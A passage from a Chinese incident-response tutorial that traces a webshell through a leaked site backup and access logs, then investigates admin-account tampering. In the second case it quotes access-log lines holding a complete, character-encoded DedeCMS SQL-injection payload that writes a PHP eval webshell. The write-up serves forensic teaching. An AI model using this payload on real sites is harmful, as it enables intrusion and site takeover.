|
通过对被篡改的图片进行查看，确认图片篡改时间为 2018 年 04 月 18 日 19:24:07 。
(2) 访问日志溯源
通过图片修改的时间节点，发现可疑IP：113.xx.xx.24 (代理IP，无法追溯真实来源)，访问 image.jsp(脚本木马)，并随后访问了被篡改的图片地址。
进一步审查所有的日志文件(日志保存时间从 2017-04-20 至 2018-04-19)，发现一共只有两次访问 image.jsp 文件的记录，分别是 2018-04-18 和 2017-09-21。
image.jsp在 2017-09-21之 前就已经上传到网站服务器，已经潜藏长达半年多甚至更久的时间。
(3) 寻找真相
我们在网站根目录找到了答案，发现站点目录下存在 ROOT.rar 全站源码备份文件，备份时间为 2017-02-28 10:35。
通过对 ROOT.rar 解压缩，发现源码中存在的脚本木马与网站访问日志的可疑文件名一致(image.jsp)。
根据这几个时间节点，我们尝试去还原攻击者的攻击路径。
但是我们在访问日志并未找到 ROOT.rar 的访问下载记录，访问日志只保留了近一年的记录，而这个 webshell 可能已经存在了多年。
黑客是如何获取 webshell 的呢?
可能是通过下载 ROOT.rar 全站源码备份文件获取到其中存在的木马信息，或者几年前入侵并潜藏了多年，又或者是从地下黑产购买了 shell，我们不得而知。
本文的示例中攻击者为我们留下了大量的证据和记录，而更多时候，攻击者可能会清除所有的关键信息，这势必会加大调查人员的取证难度。
第 8 篇：管理员账号被篡改
你是某一个网站的管理员，有一天，你的管理员账号 admin 却登录不了，进入数据库查看，原来管理员账号用户名不存在了，却多了另外一个管理员用户名。不对，不是新增了管理员，而是你的管理员用户名被篡改了。
1. 现象描述
前后端分离，后台只允许内网访问，管理员账号 admin 却依然被多次被篡改
2. 问题处理
(1) 网站 webshell
在针对网站根目录进行 webshell 扫描，发现存在脚本木马，创建时间为 2018-06-13 04:30:30
(2) 定位 IP
通过木马创建时间， 查看网站访问日志，定位到 IP 为：180.xx.xx.3
(3) 关联分析
全局搜索与该 IP 有关的操作日志：
在脚本木马生成前，有两条比较可疑的访问日志吸引了我们的注意：
- 172.16.1.12 180.xx.xxx.3 - - [10/Jun/2018:08:41:43 +0800] "GET /plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=97&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=114&arrs2[]=101&arrs2[]=97&arrs2[]=100&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=120&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=101&arrs2[]=99&arrs2[]=104&arrs2[]=111&arrs2[]=32&arrs2[]=109&arrs2[]=79&arrs2[]=111&arrs2[]=110&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=57&arrs2[]=32&arrs2[]=35 HTTP/1.1" 200 67
- 172.16.1.12 180.xx.xxx.3 - - [10/Jun/2018:08:41:43 +0800] "GET /plus/ad_js.php?aid=19 HTTP/1.1" 200 32
（编辑：晋中站长网）
【声明】本站内容均来自网络，其相关言论仅代表作者个人观点，不代表本站立场。若无意侵犯到您的权利，请及时与联系站长删除相关内容!
|
